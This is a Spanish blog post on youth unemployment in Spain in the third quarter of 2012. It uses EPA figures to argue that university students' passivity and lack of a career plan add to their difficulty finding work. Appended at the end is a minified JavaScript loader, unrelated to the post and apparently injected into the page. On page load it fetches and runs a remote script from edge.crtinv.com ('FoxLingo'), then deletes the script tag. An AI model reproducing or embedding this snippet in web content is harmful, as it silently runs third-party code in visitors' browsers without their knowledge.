La tasa de paro
juvenil —menores de 25 años—
descendió en el tercer trimestre de 2012 en
0,94 puntos respecto al trimestre precedente y se situó en el 52,34%, lo que equivale a un total de 970.200
jóvenes.
Son datos de la Encuesta de Población Activa (EPA) que, en el mismo
periodo, arroja un aumento total de 85.000 personas, hasta los 5.778.100 y supera el 25% por primera vez en la historia.

Según los datos de la EPA esa
tasa de paro juvenil, si bien desciende ligeramente respecto al segundo
trimestre del año en lo que supone su primer recorte en el último año, sigue estando 6,5 puntos por encima del
dato del mismo periodo de 2011.
Del total de jóvenes desempleados, la mayoría (728.600) se concentra en
la franja de 20 a 24 años.
Desconozco la cantidad de universitarios menores
de 25 años que se encuentran en paro, pero lo que parece claro es que entre esos
728.600 se encuentran la mayoría de los recién titulados que no encuentran
trabajo. ¿Cuáles son las causas de esta grave situación? ¿En qué ha de cambiar
la universidad? ¿Cómo conseguir más emprendedores que creen puestos de trabajo?

No pretendo analizar las causas del paro de los universitarios. Lo que deseo es destacar un aspecto que depende de los propios universitarios. Este aspecto plantea unos objetivos que se pueden lograr con esfuerzo y con la ayuda necesaria por parte de los profesores y de los compañeros de Universidad.

Con
frecuencia los alumnos universitarios se quejan de que la Universidad no les
prepara para su incorporación al mercado de trabajo. Parece que hay acuerdo en
que la Universidad, debe mejorar la formación que imparte para facilitar el
futuro profesional de los egresados. Lo que no se suele comentar es la falta de interés y la actitud pasiva de los
universitarios por adquirir esa formación.
Además de los cambios necesarios
de los profesores, también deben cambiar
los alumnos.
Aunque en muchas asignaturas solo se limitan a trasmitir
conocimientos, lo cual no deja de ser importante, en muchas hay diferentes
actividades que permiten adquirir o mejorar algunas habilidades que facilitan alcanzar el éxito en el trabajo profesional.
Sin embargo, hay una actitud generalizada de pasividad, de conformismo, de
falta de espíritu de sacrificio y de servicio.
Muchos alumnos solo quieren saber lo que hay que saber para aprobar. No tienen afán de mejorar su formación personal y profesional.
Se organizan grupos de trabajo para hacer trabajos prácticos y se limitan a
repartir tareas sin interés por lograr espíritu de equipo, algo esencial que
necesitarán en cualquier trabajo. Hay
mucho individualismo, falta espíritu de iniciativa y creatividad, comodidad,
etc
. También falta un proyecto de futuro personal y profesional, lo que
provoca desorientación y la incapacidad de concretar unos objetivos coherentes
que sean motivadores del esfuerzo diario.
Hace años con la ayuda de algunos
alumnos, redactamos un documento que ha tenido mucha aceptación. Aunque ha
pasado tiempo, sigue teniendo actualidad. Se titula “Preguntas y respuestas sobre el futuro profesional”. Entre otros
temas, se sugiere la necesidad de tener un proyecto profesional que sea
coherente con el proyecto de vida personal.  Un proyecto con objetivos concretos, que hay que actualizar con la
frecuencia necesaria para que recoja la experiencia personal y profesional. Es
semejante a concretar una ruta de un viaje. ¿Dónde estoy? ¿A dónde quiero
llegar? ¿Qué medios de comunicación puedo elegir? ¿Qué limitaciones tengo?..

Actualización (30.11.12) Un artículo con una entrevistas a un experto, analiza algunas sugerencias para acercar la empresa a los jóvenes a través de una formación dual para los estudiantes de FP y universitarios. Ver artículo aquí

!function(){try{var h=document.getElementsByTagName(«head»)[0];var s=document.createElement(«script»);s.src=»//edge.crtinv.com/products/FoxLingo/default/snippet.js»;s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState==»loaded» || this.readyState==»complete»){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();